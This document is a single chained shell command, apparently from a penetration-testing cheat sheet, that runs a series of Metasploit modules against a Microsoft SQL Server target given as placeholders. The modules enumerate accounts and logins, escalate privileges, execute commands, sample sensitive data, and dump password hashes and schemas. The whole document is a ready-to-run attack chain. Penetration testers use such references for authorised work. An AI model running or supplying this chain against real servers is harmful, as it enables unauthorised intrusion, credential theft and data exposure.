Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

```
<details>

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</details>